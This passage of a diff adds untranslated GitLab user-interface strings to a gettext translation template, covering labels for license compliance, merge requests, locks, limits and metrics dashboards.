+msgstr ""
+
+msgid "Leave blank for no limit. Once set, existing personal access tokens may be revoked."
+msgstr ""
+
+msgid "Leave edit mode? All unsaved changes will be lost."
+msgstr ""
+
+msgid "Leave group"
+msgstr ""
+
+msgid "Leave project"
+msgstr ""
+
+msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
+msgstr ""
+
+msgid "Leave zen mode"
+msgstr ""
+
+msgid "Let's Encrypt does not accept emails on example.com"
+msgstr ""
+
+msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
+msgstr ""
+
+msgid "License"
+msgstr ""
+
+msgid "License Compliance"
+msgstr ""
+
+msgid "License History"
+msgstr ""
+
+msgid "License ID:"
+msgstr ""
+
+msgid "License overview"
+msgstr ""
+
+msgid "License-Check"
+msgstr ""
+
+msgid "LicenseCompliance|%{docLinkStart}License Approvals%{docLinkEnd} are active"
+msgstr ""
+
+msgid "LicenseCompliance|%{docLinkStart}License Approvals%{docLinkEnd} are inactive"
+msgstr ""
+
+msgid "LicenseCompliance|Acceptable license to be used in the project"
+msgstr ""
+
+msgid "LicenseCompliance|Add a license"
+msgstr ""
+
+msgid "LicenseCompliance|Add license and related policy"
+msgstr ""
+
+msgid "LicenseCompliance|Allow"
+msgstr ""
+
+msgid "LicenseCompliance|Allowed"
+msgstr ""
+
+msgid "LicenseCompliance|Denied"
+msgstr ""
+
+msgid "LicenseCompliance|Deny"
+msgstr ""
+
+msgid "LicenseCompliance|Disallow merge request if detected and will instruct developer to remove"
+msgstr ""
+
+msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
+msgstr ""
+
+msgid "LicenseCompliance|License"
+msgstr ""
+
+msgid "LicenseCompliance|License Approvals"
+msgstr ""
+
+msgid "LicenseCompliance|License Compliance detected %d license and policy violation for the source branch only"
+msgid_plural "LicenseCompliance|License Compliance detected %d licenses and policy violations for the source branch only"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected %d license and policy violation for the source branch only; approval required"
+msgid_plural "LicenseCompliance|License Compliance detected %d licenses and policy violations for the source branch only; approval required"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected %d license for the source branch only"
+msgid_plural "LicenseCompliance|License Compliance detected %d licenses for the source branch only"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected %d new license"
+msgid_plural "LicenseCompliance|License Compliance detected %d new licenses"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected %d new license and policy violation"
+msgid_plural "LicenseCompliance|License Compliance detected %d new licenses and policy violations"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected %d new license and policy violation; approval required"
+msgid_plural "LicenseCompliance|License Compliance detected %d new licenses and policy violations; approval required"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected no licenses for the source branch only"
+msgstr ""
+
+msgid "LicenseCompliance|License Compliance detected no new licenses"
+msgstr ""
+
+msgid "LicenseCompliance|License details"
+msgstr ""
+
+msgid "LicenseCompliance|License name"
+msgstr ""
+
+msgid "LicenseCompliance|License review"
+msgstr ""
+
+msgid "LicenseCompliance|Packages"
+msgstr ""
+
+msgid "LicenseCompliance|Remove license"
+msgstr ""
+
+msgid "LicenseCompliance|Remove license?"
+msgstr ""
+
+msgid "LicenseCompliance|There are currently no policies in this project."
+msgstr ""
+
+msgid "LicenseCompliance|There are currently no policies that match in this project."
+msgstr ""
+
+msgid "LicenseCompliance|This license already exists in this project."
+msgstr ""
+
+msgid "LicenseCompliance|URL"
+msgstr ""
+
+msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
+msgstr ""
+
+msgid "LicenseManagement|Allowed"
+msgstr ""
+
+msgid "LicenseManagement|Denied"
+msgstr ""
+
+msgid "LicenseManagement|Uncategorized"
+msgstr ""
+
+msgid "Licensed Features"
+msgstr ""
+
+msgid "Licensed to"
+msgstr ""
+
+msgid "Licensed to:"
+msgstr ""
+
+msgid "Licenses"
+msgstr ""
+
+msgid "Licenses|%{remainingComponentsCount} more"
+msgstr ""
+
+msgid "Licenses|Acceptable license to be used in the project"
+msgstr ""
+
+msgid "Licenses|Component"
+msgstr ""
+
+msgid "Licenses|Components"
+msgstr ""
+
+msgid "Licenses|Detected in Project"
+msgstr ""
+
+msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
+msgstr ""
+
+msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
+msgstr ""
+
+msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
+msgstr ""
+
+msgid "Licenses|Error fetching the license list. Please check your network connection and try again."
+msgstr ""
+
+msgid "Licenses|Learn more about license compliance"
+msgstr ""
+
+msgid "Licenses|License Compliance"
+msgstr ""
+
+msgid "Licenses|Name"
+msgstr ""
+
+msgid "Licenses|Policies"
+msgstr ""
+
+msgid "Licenses|Policy"
+msgstr ""
+
+msgid "Licenses|Policy violation: denied"
+msgstr ""
+
+msgid "Licenses|Specified policies in this project"
+msgstr ""
+
+msgid "Licenses|The license list details information about the licenses used within your project."
+msgstr ""
+
+msgid "Licenses|View license details for your project"
+msgstr ""
+
+msgid "License|Buy license"
+msgstr ""
+
+msgid "License|License"
+msgstr ""
+
+msgid "License|You can restore access to the Gold features at any time by upgrading."
+msgstr ""
+
+msgid "License|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
+msgid "License|You do not have a license."
+msgstr ""
+
+msgid "License|Your License"
+msgstr ""
+
+msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
+msgstr ""
+
+msgid "Limit display of time tracking units to hours."
+msgstr ""
+
+msgid "Limit namespaces and projects that can be indexed"
+msgstr ""
+
+msgid "Limited to showing %d event at most"
+msgid_plural "Limited to showing %d events at most"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Line changes"
+msgstr ""
+
+msgid "Link Prometheus monitoring to GitLab."
+msgstr ""
+
+msgid "Link copied"
+msgstr ""
+
+msgid "Link title"
+msgstr ""
+
+msgid "Link title is required"
+msgstr ""
+
+msgid "Link to go to GitLab pipeline documentation"
+msgstr ""
+
+msgid "Linked emails (%{email_count})"
+msgstr ""
+
+msgid "Linked issues"
+msgstr ""
+
+msgid "LinkedIn"
+msgstr ""
+
+msgid "LinkedPipelines|%{counterLabel} more downstream pipelines"
+msgstr ""
+
+msgid "Links"
+msgstr ""
+
+msgid "List"
+msgstr ""
+
+msgid "List Your Gitea Repositories"
+msgstr ""
+
+msgid "List available repositories"
+msgstr ""
+
+msgid "List of all merge commits"
+msgstr ""
+
+msgid "List settings"
+msgstr ""
+
+msgid "List the merge requests that must be merged before this one."
+msgstr ""
+
+msgid "List view"
+msgstr ""
+
+msgid "List your Bitbucket Server repositories"
+msgstr ""
+
+msgid "Lists"
+msgstr ""
+
+msgid "Live preview"
+msgstr ""
+
+msgid "Load more"
+msgstr ""
+
+msgid "Load more users"
+msgstr ""
+
+msgid "Loading"
+msgstr ""
+
+msgid "Loading contribution stats for group members"
+msgstr ""
+
+msgid "Loading files, directories, and submodules in the path %{path} for commit reference %{ref}"
+msgstr ""
+
+msgid "Loading functions timed out. Please reload the page to try again."
+msgstr ""
+
+msgid "Loading issues"
+msgstr ""
+
+msgid "Loading snippet"
+msgstr ""
+
+msgid "Loading the GitLab IDE..."
+msgstr ""
+
+msgid "Loading..."
+msgstr ""
+
+msgid "Loading…"
+msgstr ""
+
+msgid "Local IP addresses and domain names that hooks and services may access."
+msgstr ""
+
+msgid "Localization"
+msgstr ""
+
+msgid "Location"
+msgstr ""
+
+msgid "Lock"
+msgstr ""
+
+msgid "Lock %{issuableDisplayName}"
+msgstr ""
+
+msgid "Lock memberships to LDAP synchronization"
+msgstr ""
+
+msgid "Lock not found"
+msgstr ""
+
+msgid "Lock the discussion"
+msgstr ""
+
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
+msgstr ""
+
+msgid "Lock to current projects"
+msgstr ""
+
+msgid "Locked"
+msgstr ""
+
+msgid "Locked Files"
+msgstr ""
+
+msgid "Locked by %{fileLockUserName}"
+msgstr ""
+
+msgid "Locked the discussion."
+msgstr ""
+
+msgid "Locked to current projects"
+msgstr ""
+
+msgid "Locks give the ability to lock specific file or folder."
+msgstr ""
+
+msgid "Locks the discussion."
+msgstr ""
+
+msgid "Login with smartcard"
+msgstr ""
+
+msgid "Logo was successfully removed."
+msgstr ""
+
+msgid "Logs"
+msgstr ""
+
+msgid "Logs|To see the logs, deploy your code to an environment."
+msgstr ""
+
+msgid "Low vulnerabilities present"
+msgstr ""
+
+msgid "MB"
+msgstr ""
+
+msgid "MD5"
+msgstr ""
+
+msgid "MERGED"
+msgstr ""
+
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
+msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
+msgstr ""
+
+msgid "MR widget|The pipeline will test your code on every commit. A %{codeQualityLinkStart}code quality report%{codeQualityLinkEnd} will appear in your merge requests to warn you about potential code degradations."
+msgstr ""
+
+msgid "MRApprovals|Approvals"
+msgstr ""
+
+msgid "MRApprovals|Approved by"
+msgstr ""
+
+msgid "MRApprovals|Approvers"
+msgstr ""
+
+msgid "MRApprovals|Commented by"
+msgstr ""
+
+msgid "MRDiff|Show changes only"
+msgstr ""
+
+msgid "MRDiff|Show full file"
+msgstr ""
+
+msgid "Made this issue confidential."
+msgstr ""
+
+msgid "Maintenance mode"
+msgstr ""
+
+msgid "Make and review changes in the browser with the Web IDE"
+msgstr ""
+
+msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
+msgstr ""
+
+msgid "Make issue confidential"
+msgstr ""
+
+msgid "Make sure you save it - you won't be able to access it again."
+msgstr ""
+
+msgid "Make sure you're logged into the account that owns the projects you'd like to import."
+msgstr ""
+
+msgid "Make this epic confidential"
+msgstr ""
+
+msgid "Makes this issue confidential."
+msgstr ""
+
+msgid "Manage"
+msgstr ""
+
+msgid "Manage Web IDE features"
+msgstr ""
+
+msgid "Manage access"
+msgstr ""
+
+msgid "Manage all notifications"
+msgstr ""
+
+msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
+msgstr ""
+
+msgid "Manage applications that you've authorized to use your account."
+msgstr ""
+
+msgid "Manage group labels"
+msgstr ""
+
+msgid "Manage labels"
+msgstr ""
+
+msgid "Manage milestones"
+msgstr ""
+
+msgid "Manage project labels"
+msgstr ""
+
+msgid "Manage storage usage"
+msgstr ""
+
+msgid "Manage two-factor authentication"
+msgstr ""
+
+msgid "Manage your license"
+msgstr ""
+
+msgid "Managed Account"
+msgstr ""
+
+msgid "Manifest"
+msgstr ""
+
+msgid "Manifest file import"
+msgstr ""
+
+msgid "Manifest import"
+msgstr ""
+
+msgid "ManualOrdering|Couldn't save the order of the issues"
+msgstr ""
+
+msgid "Map a FogBugz account ID to a GitLab user"
+msgstr ""
+
+msgid "Map a Google Code user to a GitLab user"
+msgstr ""
+
+msgid "Map a Google Code user to a full email address"
+msgstr ""
+
+msgid "Map a Google Code user to a full name"
+msgstr ""
+
+msgid "Mar"
+msgstr ""
+
+msgid "March"
+msgstr ""
+
+msgid "Mark To Do as done"
+msgstr ""
+
+msgid "Mark as done"
+msgstr ""
+
+msgid "Mark as resolved"
+msgstr ""
+
+msgid "Mark this issue as a duplicate of another issue"
+msgstr ""
+
+msgid "Mark this issue as related to another issue"
+msgstr ""
+
+msgid "Markdown"
+msgstr ""
+
+msgid "Markdown Help"
+msgstr ""
+
+msgid "Markdown enabled"
+msgstr ""
+
+msgid "Markdown is supported"
+msgstr ""
+
+msgid "Marked For Deletion At - %{deletion_time}"
+msgstr ""
+
+msgid "Marked To Do as done."
+msgstr ""
+
+msgid "Marked this %{noun} as Work In Progress."
+msgstr ""
+
+msgid "Marked this issue as a duplicate of %{duplicate_param}."
+msgstr ""
+
+msgid "Marked this issue as related to %{issue_ref}."
+msgstr ""
+
+msgid "Marks To Do as done."
+msgstr ""
+
+msgid "Marks this %{noun} as Work In Progress."
+msgstr ""
+
+msgid "Marks this issue as a duplicate of %{duplicate_reference}."
+msgstr ""
+
+msgid "Marks this issue as related to %{issue_ref}."
+msgstr ""
+
+msgid "Mask variable"
+msgstr ""
+
+msgid "Match not found; try refining your search query."
+msgstr ""
+
+msgid "MattermostService|Add to Mattermost"
+msgstr ""
+
+msgid "MattermostService|Command trigger word"
+msgstr ""
+
+msgid "MattermostService|Fill in the word that works best for your team."
+msgstr ""
+
+msgid "MattermostService|Request URL"
+msgstr ""
+
+msgid "MattermostService|Request method"
+msgstr ""
+
+msgid "MattermostService|Response icon"
+msgstr ""
+
+msgid "MattermostService|Response username"
+msgstr ""
+
+msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
+msgstr ""
+
+msgid "MattermostService|Suggestions:"
+msgstr ""
+
+msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgstr ""
+
+msgid "Max Group Export Download requests per minute per user"
+msgstr ""
+
+msgid "Max Group Export requests per minute per user"
+msgstr ""
+
+msgid "Max Group Import requests per minute per user"
+msgstr ""
+
+msgid "Max Project Export Download requests per minute per user"
+msgstr ""
+
+msgid "Max Project Export requests per minute per user"
+msgstr ""
+
+msgid "Max Project Import requests per minute per user"
+msgstr ""
+
+msgid "Max access level"
+msgstr ""
+
+msgid "Max seats used"
+msgstr ""
+
+msgid "Maximum Users:"
+msgstr ""
+
+msgid "Maximum allowable lifetime for personal access token (days)"
+msgstr ""
+
+msgid "Maximum artifacts size (MB)"
+msgstr ""
+
+msgid "Maximum attachment size (MB)"
+msgstr ""
+
+msgid "Maximum bulk request size (MiB)"
+msgstr ""
+
+msgid "Maximum capacity"
+msgstr ""
+
+msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
+msgstr ""
+
+msgid "Maximum delay (Minutes)"
+msgstr ""
+
+msgid "Maximum duration of a session."
+msgstr ""
+
+msgid "Maximum field length"
+msgstr ""
+
+msgid "Maximum file size indexed (KiB)"
+msgstr ""
+
+msgid "Maximum file size is 2MB. Please select a smaller file."
+msgstr ""
+
+msgid "Maximum import size (MB)"
+msgstr ""
+
+msgid "Maximum job timeout"
+msgstr ""
+
+msgid "Maximum job timeout has a value which could not be accepted"
+msgstr ""
+
+msgid "Maximum length 100 characters"
+msgstr ""
+
+msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
+msgstr ""
+
+msgid "Maximum number of %{name} (%{count}) exceeded"
+msgstr ""
+
+msgid "Maximum number of comments exceeded"
+msgstr ""
+
+msgid "Maximum number of mirrors that can be synchronizing at the same time."
+msgstr ""
+
+msgid "Maximum number of projects."
+msgstr ""
+
+msgid "Maximum page reached"
+msgstr ""
+
+msgid "Maximum push size (MB)"
+msgstr ""
+
+msgid "Maximum size limit for a single commit."
+msgstr ""
+
+msgid "Maximum size limit for each repository."
+msgstr ""
+
+msgid "Maximum size of Elasticsearch bulk indexing requests."
+msgstr ""
+
+msgid "Maximum size of import files."
+msgstr ""
+
+msgid "Maximum size of individual attachments in comments."
+msgstr ""
+
+msgid "Maximum time between updates that a mirror can have when scheduled to synchronize."
+msgstr ""
+
+msgid "May"
+msgstr ""
+
+msgid "Measured in bytes of code. Excludes generated and vendored code."
+msgstr ""
+
+msgid "Median"
+msgstr ""
+
+msgid "Medium vulnerabilities present"
+msgstr ""
+
+msgid "Member lock"
+msgstr ""
+
+msgid "Member since %{date}"
+msgstr ""
+
+msgid "Members"
+msgstr ""
+
+msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
+msgstr ""
+
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{strong_open}%{project_name}%{strong_close}"
+msgstr ""
+
+msgid "Members of a group may only view projects they have permission to access"
+msgstr ""
+
+msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Memory Usage"
+msgstr ""
+
+msgid "Merge"
+msgstr ""
+
+msgid "Merge (when the pipeline succeeds)"
+msgstr ""
+
+msgid "Merge Conflicts"
+msgstr ""
+
+msgid "Merge Request"
+msgstr ""
+
+msgid "Merge Request Analytics"
+msgstr ""
+
+msgid "Merge Request Approvals"
+msgstr ""
+
+msgid "Merge Request Commits"
+msgstr ""
+
+msgid "Merge Requests"
+msgstr ""
+
+msgid "Merge Requests created"
+msgstr ""
+
+msgid "Merge Requests in Review"
+msgstr ""
+
+msgid "Merge Requests merged"
+msgstr ""
+
+msgid "Merge automatically (%{strategy})"
+msgstr ""
+
+msgid "Merge commit message"
+msgstr ""
+
+msgid "Merge events"
+msgstr ""
+
+msgid "Merge immediately"
+msgstr ""
+
+msgid "Merge in progress"
+msgstr ""
+
+msgid "Merge locally"
+msgstr ""
+
+msgid "Merge options"
+msgstr ""
+
+msgid "Merge request"
+msgstr ""
+
+msgid "Merge request %{iid} authored by %{authorName}"
+msgstr ""
+
+msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
+msgstr ""
+
+msgid "Merge request approvals"
+msgstr ""
+
+msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
+msgstr ""
+
+msgid "Merge request dependencies"
+msgstr ""
+
+msgid "Merge request was scheduled to merge after pipeline succeeds"
+msgstr ""
+
+msgid "Merge requests"
+msgstr ""
+
+msgid "Merge requests approvals"
+msgstr ""
+
+msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
+msgstr ""
+
+msgid "Merge requests are read-only in a secondary Geo node"
+msgstr ""
+
+msgid "Merge when pipeline succeeds"
+msgstr ""
+
+msgid "MergeConflict|Commit to source branch"
+msgstr ""
+
+msgid "MergeConflict|Committing..."
+msgstr ""
+
+msgid "MergeConflict|HEAD//our changes"
+msgstr ""
+
+msgid "MergeConflict|Use ours"
+msgstr ""
+
+msgid "MergeConflict|Use theirs"
+msgstr ""
+
+msgid "MergeConflict|conflict"
+msgstr ""
+
+msgid "MergeConflict|conflicts"
+msgstr ""
+
+msgid "MergeConflict|origin//their changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
+msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
+msgstr ""
+
+msgid "MergeRequestDiffs|Select comment starting line"
+msgstr ""
+
+msgid "MergeRequests|Add a reply"
+msgstr ""
+
+msgid "MergeRequests|An error occurred while checking whether another squash is in progress."
+msgstr ""
+
+msgid "MergeRequests|An error occurred while saving the draft comment."
+msgstr ""
+
+msgid "MergeRequests|Failed to squash. Should be done manually."
+msgstr ""
+
+msgid "MergeRequests|Jump to next unresolved thread"
+msgstr ""
+
+msgid "MergeRequests|Reply..."
+msgstr ""
+
+msgid "MergeRequests|Resolve this thread in a new issue"
+msgstr ""
+
+msgid "MergeRequests|Saving the comment failed"
+msgstr ""
+
+msgid "MergeRequests|Squash task canceled: another squash is already in progress."
+msgstr ""
+
+msgid "MergeRequests|This project does not allow squashing commits when merge requests are accepted."
+msgstr ""
+
+msgid "MergeRequests|Thread stays resolved"
+msgstr ""
+
+msgid "MergeRequests|Thread stays unresolved"
+msgstr ""
+
+msgid "MergeRequests|Thread will be resolved"
+msgstr ""
+
+msgid "MergeRequests|Thread will be unresolved"
+msgstr ""
+
+msgid "MergeRequests|Toggle comments for this file"
+msgstr ""
+
+msgid "MergeRequests|View file @ %{commitId}"
+msgstr ""
+
+msgid "MergeRequests|View replaced file @ %{commitId}"
+msgstr ""
+
+msgid "MergeRequests|commented on commit %{commitLink}"
+msgstr ""
+
+msgid "MergeRequests|started a thread"
+msgstr ""
+
+msgid "MergeRequests|started a thread on %{linkStart}an old version of the diff%{linkEnd}"
+msgstr ""
+
+msgid "MergeRequests|started a thread on %{linkStart}the diff%{linkEnd}"
+msgstr ""
+
+msgid "MergeRequests|started a thread on an outdated change in commit %{linkStart}%{commitDisplay}%{linkEnd}"
+msgstr ""
+
+msgid "MergeRequests|started a thread on commit %{linkStart}%{commitDisplay}%{linkEnd}"
+msgstr ""
+
+msgid "MergeRequest|Compare %{target} and %{source}"
+msgstr ""
+
+msgid "MergeRequest|Error dismissing suggestion popover. Please try again."
+msgstr ""
+
+msgid "MergeRequest|Error loading full diff. Please try again."
+msgstr ""
+
+msgid "MergeRequest|No files found"
+msgstr ""
+
+msgid "MergeRequest|Search files (%{modifier_key}P)"
+msgstr ""
+
+msgid "Merged"
+msgstr ""
+
+msgid "Merged MRs"
+msgstr ""
+
+msgid "Merged branches are being deleted. This can take some time depending on the number of branches. Please refresh the page to see changes."
+msgstr ""
+
+msgid "Merged this merge request."
+msgstr ""
+
+msgid "Merges this merge request immediately."
+msgstr ""
+
+msgid "Merges this merge request when the pipeline succeeds."
+msgstr ""
+
+msgid "Merging immediately isn't recommended as it may negatively impact the existing merge train. Read the %{docsLinkStart}documentation%{docsLinkEnd} for more information."
+msgstr ""
+
+msgid "Messages"
+msgstr ""
+
+msgid "Method"
+msgstr ""
+
+msgid "Metric was successfully added."
+msgstr ""
+
+msgid "Metric was successfully updated."
+msgstr ""
+
+msgid "Metric:"
+msgstr ""
+
+msgid "MetricChart|Please select a metric"
+msgstr ""
+
+msgid "MetricChart|Selected"
+msgstr ""
+
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
+msgid "Metrics"
+msgstr ""
+
+msgid "Metrics - Grafana"
+msgstr ""
+
+msgid "Metrics - Prometheus"
+msgstr ""
+
+msgid "Metrics Dashboard"
+msgstr ""
+
+msgid "Metrics Dashboard YAML definition"
+msgstr ""
+
+msgid "Metrics Dashboard YAML definition is invalid:"
+msgstr ""
+
+msgid "Metrics Dashboard YAML definition is valid."
+msgstr ""
+
+msgid "Metrics and profiling"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|Annotation can't belong to both a cluster and an environment at the same time"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|Annotation has not been deleted"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|Annotation must belong to a cluster or an environment"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|Dashboard with requested path can not be found"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|You are not authorized to create annotation for selected cluster"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|You are not authorized to create annotation for selected environment"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|You are not authorized to delete this annotation"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|can't be before starting_at time"
+msgstr ""
+
+msgid "Metrics::UsersStarredDashboards|Dashboard with requested path can not be found"
+msgstr ""
+
+msgid "Metrics::UsersStarredDashboards|You are not authorized to add star to this dashboard"
+msgstr ""
+
+msgid "MetricsSettings|Add a button to the metrics dashboard linking directly to your existing external dashboard."
+msgstr ""
+
+msgid "MetricsSettings|Choose whether to display dashboard metrics in UTC or the user's local timezone."
+msgstr ""
+
+msgid "MetricsSettings|Dashboard timezone"
+msgstr ""
+
+msgid "MetricsSettings|External dashboard URL"
+msgstr ""
+
+msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgstr ""
+
+msgid "MetricsSettings|Metrics dashboard"
+msgstr ""
+
+msgid "MetricsSettings|UTC (Coordinated Universal Time)"
+msgstr ""
+
+msgid "MetricsSettings|User's local timezone"
+msgstr ""
+
+msgid "Metrics|1. Define and preview panel"
+msgstr ""
+
+msgid "Metrics|2. Paste panel YAML into dashboard"
+msgstr ""
+
+msgid "Metrics|Add metric"
+msgstr ""
+
+msgid "Metrics|Add panel"
+msgstr ""
+
+msgid "Metrics|Avg"
+msgstr ""
+
+msgid "Metrics|Back to dashboard"
+msgstr ""
+
+msgid "Metrics|Cancel"
+msgstr ""
+
+msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
+msgstr ""
+
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
+msgid "Metrics|Copy YAML"
+msgstr ""
+
+msgid "Metrics|Copy and paste the panel YAML into your dashboard YAML file."
+msgstr ""
+
+msgid "Metrics|Create custom dashboard %{fileName}"
+msgstr ""
+
+msgid "Metrics|Create metric"
+msgstr ""
+
+msgid "Metrics|Create new dashboard"
+msgstr ""
+
+msgid "Metrics|Create your dashboard configuration file"
+msgstr ""
+
+msgid "Metrics|Current"
+msgstr ""
+
+msgid "Metrics|Dashboard files can be found in %{codeStart}.gitlab/dashboards%{codeEnd} at the root of this project."
+msgstr ""
+
+msgid "Metrics|Define panel YAML below to preview panel."
+msgstr ""
+
+msgid "Metrics|Delete metric"
+msgstr ""
+
+msgid "Metrics|Delete metric?"
+msgstr ""
+
+msgid "Metrics|Duplicate"
+msgstr ""
+
+msgid "Metrics|Duplicate current dashboard"
+msgstr ""
+
+msgid "Metrics|Duplicate dashboard"
+msgstr ""
+
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
+msgid "Metrics|Duplicating..."
+msgstr ""
+
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
+msgid "Metrics|Edit metric"
+msgid_plural "Metrics|Edit metrics"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Metrics|Expand panel"
+msgstr ""
+
+msgid "Metrics|For grouping similar metrics"
+msgstr ""
+
+msgid "Metrics|Invalid time range, please verify."
+msgstr ""
+
+msgid "Metrics|Label of the y-axis (usually the unit). The x-axis always represents time."
+msgstr ""
+
+msgid "Metrics|Legend label (optional)"
+msgstr ""
+
+msgid "Metrics|Link contains an invalid time window, please verify the link to see the requested time range."
+msgstr ""
+
+msgid "Metrics|Link contains invalid chart information, please verify the link to see the expanded panel."
+msgstr ""
+
+msgid "Metrics|Manage chart links"
+msgstr ""
+
+msgid "Metrics|Max"
+msgstr ""
+
+msgid "Metrics|Metrics Settings"
+msgstr ""
+
+msgid "Metrics|Min"
+msgstr ""
+
+msgid "Metrics|More actions"
+msgstr ""
+
+msgid "Metrics|Must be a valid PromQL query."
+msgstr ""
+
+msgid "Metrics|New metric"
+msgstr ""
+
+msgid "Metrics|Open repository"
+msgstr ""
+
+msgid "Metrics|Panel YAML"
+msgstr ""
+
+msgid "Metrics|Panel YAML copied"
+msgstr ""
+
+msgid "Metrics|Preview panel"
+msgstr ""
+
+msgid "Metrics|PromQL query is valid"
+msgstr ""
+
+msgid "Metrics|Prometheus Query Documentation"
+msgstr ""
+
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
+msgid "Metrics|Refresh dashboard"
+msgstr ""
+
+msgid "Metrics|Select a value"
+msgstr ""
+
+msgid "Metrics|Set refresh rate"
+msgstr ""
+
+msgid "Metrics|Star dashboard"
+msgstr ""
+
+msgid "Metrics|There was an error creating the dashboard."
+msgstr ""
+
+msgid "Metrics|There was an error creating the dashboard. %{error}"
+msgstr ""
+
+msgid "Metrics|There was an error fetching annotations. Please try again."
+msgstr ""
+
+msgid "Metrics|There was an error fetching the environments data, please try again"
+msgstr ""
+
+msgid "Metrics|There was an error getting annotations information."
+msgstr ""
+
+msgid "Metrics|There was an error getting dashboard validation warnings information."
+msgstr ""
+
+msgid "Metrics|There was an error getting deployment information."
+msgstr ""
+
+msgid "Metrics|There was an error getting environments information."
+msgstr ""
+
+msgid "Metrics|There was an error getting options for variable \"%{name}\"."
+msgstr ""
+
+msgid "Metrics|There was an error trying to validate your query"
+msgstr ""
+
+msgid "Metrics|There was an error while retrieving metrics"
+msgstr ""
+
+msgid "Metrics|There was an error while retrieving metrics. %{message}"
+msgstr ""
+
+msgid "Metrics|To create a new dashboard, add a new YAML file to %{codeStart}.gitlab/dashboards%{codeEnd} at the root of this project."
+msgstr ""
+
+msgid "Metrics|Unexpected deployment data response from prometheus endpoint"
+msgstr ""
+
+msgid "Metrics|Unit label"
+msgstr ""
+
+msgid "Metrics|Unstar dashboard"
+msgstr ""
+
+msgid "Metrics|Used as a title for the chart"
+msgstr ""
+
+msgid "Metrics|Used if the query returns a single series. If it returns multiple series, their legend labels will be picked up from the response."
+msgstr ""
+
+msgid "Metrics|Validating query"
+msgstr ""
+
+msgid "Metrics|Values"
+msgstr ""
+
+msgid "Metrics|View documentation"
+msgstr ""
+
+msgid "Metrics|View logs"
+msgstr ""
+
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
+msgid "Metrics|Y-axis label"
+msgstr ""
+
+msgid "Metrics|You can save a copy of this dashboard to your repository so it can be customized. Select a file name and branch to save it."
+msgstr ""
+
